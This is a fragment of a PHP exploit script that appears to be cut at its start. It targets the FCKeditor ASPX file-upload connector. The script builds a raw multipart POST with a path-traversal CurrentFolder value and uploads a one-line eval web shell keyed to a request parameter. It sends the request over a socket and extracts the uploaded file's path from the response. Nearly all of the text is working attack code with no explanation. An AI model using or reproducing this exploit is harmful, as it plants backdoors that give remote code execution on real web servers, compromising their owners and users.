#!/usr/bin/php <%eval(Request.Item[\"90sec.org\"],\"unsafe\");%>\r\n-----------------------------1398531028480--\r\n"; $data = "POST $path//master/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2F..%2F..%2F..%2F..%2Fupload HTTP/1.1\r\n"; $data .= "Host: ".$host."\r\n"; $data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\r\n"; $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $data .= "Accept-Language: zh-cn,zh;q=0.5\r\n"; $data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\n"; $data .= "Keep-Alive: 300\r\n"; $data .= "Connection: keep-alive\r\n"; $data .= "Content-Type: multipart/form-data; boundary=---------------------------1398531028480\r\n"; $data .= "Content-Length: ".strlen($content)."\r\n\r\n"; $data .= $content."\r\n"; $ock=fsockopen($host,$port); if (!$ock) { echo "[*] No response from $host \n"; die; } fwrite($ock,$data); while (!feof($ock)) { $exp .=fgets($ock, 1024); } preg_match("/(0,'(.*?)')/", $exp, $arr); return $arr[2]; } ?>